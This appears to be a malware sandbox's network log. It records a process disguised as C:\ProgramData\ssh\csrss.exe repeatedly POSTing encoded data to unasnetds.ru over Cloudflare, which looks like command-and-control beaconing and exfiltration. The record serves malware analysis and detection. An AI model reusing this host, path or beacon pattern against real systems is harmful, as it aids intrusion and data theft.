43	192.168.2.4	51618	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:48.892208099 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:49.237960100 CET	1040	OUT	Data Raw: 5f 50 5b 59 5d 5b 55 5e 5a 5d 59 57 59 58 5b 53 5f 53 54 5f 50 55 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _P[Y][U^Z]YWYX[S_ST_PU[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-6R!8? 0$0(Z()?V%&#Y1',$X+=*. \'%^.8
Jan 3, 2025 11:47:49.336078882 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:49.507107973 CET	792	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9i9lefT7l0OIqZ7wsXwJnCiNFpLf5kctGj9kzsIRMJ6nQrJsDI2GOYvqm7arYzk3Y8cCBfNDieSjvelBCDWliiFnZMdQOGiGuJG6pjwhLM8n5HTbnz7Hts8zK581YNU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269b51fdd42d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4685&min_rtt=1826&rtt_var=6403&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=59106&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	51619	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:49.630553961 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:49.987200975 CET	1040	OUT	Data Raw: 5a 5d 5e 5b 58 5b 55 5d 5a 5d 59 57 59 5a 5b 57 5f 52 54 54 50 55 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z]^[X[U]Z]YWYZ[W_RTTPU[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.Y-"8,!#/^%>0<1<8'.9S7/2V%?0^<<Y=> \'%^.0
Jan 3, 2025 11:47:50.074994087 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:50.340265989 CET	795	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xB6WzBZRt5CTg5IE0a5OJEw9CaXHYGmGKRUs6c5we0GcoCfVdiwqfzDSzFc25oea8dwDgp%2FZKW7SYRODcHUVx4ygNpV7Kh4o4xCQA5HwfVCwJG2DNHg7AdWhP08ev1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269b9bc308cc3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2478&min_rtt=1943&rtt_var=1800&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=234425&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	51620	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:50.474009037 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:50.831506014 CET	1040	OUT	Data Raw: 5a 56 5b 5f 5d 5e 50 59 5a 5d 59 57 59 5b 5b 55 5f 56 54 5f 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[_]^PYZ]YWY[[U_VT_PU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$\9/568 !# 3><8=<:;&-- /-',,+?:X). \'%^.4
Jan 3, 2025 11:47:50.928039074 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:51.110956907 CET	801	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2J7uhjp0CG5miEJGMFTRMLeNpUh3N9O53xMsaEk1c5dXs9%2BIdhljDEnbmgv3Zf39TevhuU17qr%2F%2FvOZlXUEsHMvFv1Q59X1mhMmkJvMKLQv%2FSBFoDjvqc1W8yaHGAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269bf0e2142c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3127&min_rtt=1747&rtt_var=3415&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=114169&cwnd=150&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	51621	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:51.821645021 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	51622	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:51.832134962 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:52.190241098 CET	1040	OUT	Data Raw: 5a 5c 5b 5e 5d 5d 50 5e 5a 5d 59 57 59 59 5b 5b 5f 51 54 54 50 58 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[^]]P^Z]YWYY[[_QTTPX[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'./6W";;T #3>>89[(9#&=! =%?/?/9) \'%^.
Jan 3, 2025 11:47:52.276192904 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:52.541475058 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S6WTTlIukutSXguoa%2Fq1W%2BIZj9t7ruysxZ4064Xry8Vsnr2Dq7kNISsaT60GlMEnbt2lR4l%2BejEuQ35Q1jfCB4W6imlbAs91VT6yltWoC9d942asoab7b18gRLPO7Go%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269c77efc7c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2695&min_rtt=1984&rtt_var=2167&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=190178&cwnd=195&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	51623	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:52.660950899 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:53.018412113 CET	1040	OUT	Data Raw: 5f 50 5e 59 58 5c 55 5a 5a 5d 59 57 59 5a 5b 54 5f 57 54 5b 50 5c 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _P^YX\UZZ]YWYZ[T_WT[P\[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,<*T!+' 3 '.(:+9'Q2=17<22/(!+> \'%^.0
Jan 3, 2025 11:47:53.108345032 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:53.365602016 CET	801	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vp4sEI6CkSA%2BO%2FlBSF898YNN9vDZW4kEadp2MvDUj2F0AmTMqvqa5dPDgr%2F2x2L6M4sn%2F05EsSTQEH6RsxMknEgGUindS2MrHgEttG2xAuW0qoEasta5NbGl7T9PrBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269ccaaf38c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=1803&rtt_var=1341&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=327060&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	51624	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:53.498812914 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:53.846528053 CET	1040	OUT	Data Raw: 5f 56 5b 5f 58 59 55 5a 5a 5d 59 57 59 5a 5b 55 5f 51 54 5d 50 54 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[_XYUZZ]YWYZ[U_QT]PT[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-/2U5#3+'\(%Z?#Q%=)S"<.2/8_?\. \'%^.0
Jan 3, 2025 11:47:53.956620932 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:54.226253033 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h1qcj5P70HS5NGaUbzXTnsdfreTrxQJm%2BJ5p1E3%2FFdNjok3R3XBYdC9TwxVZxTyR85qK%2FoRJSVZR%2BLzeQ4SGdpwjLUqpCJI1iXFp4mFfXfrmlbhhQTCEfcgAMRAZG5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269d1f99fc33b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3577&min_rtt=1619&rtt_var=4524&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=84461&cwnd=170&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	51625	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:54.828998089 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:55.185647011 CET	1040	OUT	Data Raw: 5f 56 5b 50 5d 5b 55 58 5a 5d 59 57 59 5c 5b 53 5f 54 54 5f 50 55 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[P][UXZ]YWY\[S_TT_PU[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.?!+<43/^0.'Z(\+)T1:4:'<<+!) \'%^.(
Jan 3, 2025 11:47:55.281490088 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:55.532394886 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tSbUAvnf9sclgj7LSngMlhuAuFjC1up7qojZziQzn1MGDRImljdXSEvu3%2FMvXLWF3rdXR0bft1emuy5tGoqED0FdxgOHKDPNPjRhm5gbiTNoMhjrcxQWZzT%2BBIhq4qY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269da3e298c05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7800&min_rtt=1787&rtt_var=12697&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=29260&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	51626	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:55.667216063 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:56.019617081 CET	1040	OUT	Data Raw: 5a 56 5e 5b 58 5b 50 5a 5a 5d 59 57 59 5c 5b 50 5f 52 54 54 50 54 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV^[X[PZZ]YWY\[P_RTTPT[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^':>R!++73,37Z<+5(02=W"?&W1(\(6Y* \'%^.(
Jan 3, 2025 11:47:56.131484032 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:56.307951927 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FGeJ6sOQ%2BZ2vBRqXtI68gqI3IaM6uEKPSuLPJNwT47EryYyuGsWC%2FcBNT8zgDw4PNoylWkzIXfHzw3muO3DvvOqyMAeU9%2FoQdoaOKFcI9zjHyXCDqKpMNnsgcdxRKHY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269df8a464372-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3207&min_rtt=1570&rtt_var=3863&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=99522&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	51628	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:56.430686951 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:56.784220934 CET	1040	OUT	Data Raw: 5a 54 5e 5e 5d 5d 50 59 5a 5d 59 57 59 5b 5b 5a 5f 54 54 5c 50 59 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT^^]]PYZ]YWY[[Z_TT\PY[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$9,6!07U $.4<]9++T%=- <%%?$+<Y* \'%^.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	51629	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:56.850229025 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:57.288986921 CET	1732	OUT	Data Raw: 5a 57 5b 5b 5d 5a 50 59 5a 5d 59 57 59 58 5b 55 5f 52 54 5b 50 54 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[[]ZPYZ]YWYX[U_RT[PT[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,,U#;<703$](_?:<1=%R",>Q'/_?*. \'%^.8
Jan 3, 2025 11:47:57.302757978 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:57.638529062 CET	943	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NeHm9GuyV7TPFdnL0tnLnE%2FNqiZENOfAm3x9zxH0PI3aNFVUtjZht4UkW299ImHdUzhVYHucDutAVc2R5CzWl4cfSZIn54OX3lTNRltasWtkyMhroQtPlmH0ptRXDBw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269e6da6b0cb0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3268&min_rtt=1608&rtt_var=3923&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2077&delivery_rate=98065&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 5a 23 3e 23 58 27 17 2b 1f 27 5c 21 19 21 27 03 07 39 29 26 02 33 05 28 0e 29 07 2b 1c 27 2f 0c 07 29 38 3d 52 32 5a 2e 07 26 29 2e 59 0d 11 3b 05 3c 2f 2b 50 3d 39 2b 0c 29 59 20 40 24 02 38 58 2a 3b 38 02 3c 0c 33 0a 34 01 25 19 3d 0f 2a 0f 29 27 2d 5c 2a 0b 3f 58 27 25 2c 5e 0b 12 24 55 3f 1f 39 56 20 32 22 07 25 13 19 19 30 5c 33 1f 22 1d 34 51 24 2b 0e 17 38 32 29 1a 25 09 0a 5f 3e 16 20 15 34 01 26 52 2b 17 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!Z#>#X'+'\!!'9)&3()+'/)8=R2Z.&).Y;</+P=9+)Y @$8X;8<34%=)'-\*?X'%,^$U?9V 2"%0\3"4Q$+82)%_> 4&R+'P,(R1VT0
Jan 3, 2025 11:47:57.766067982 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:57.863598108 CET	25	IN	HTTP/1.1 100 Continue
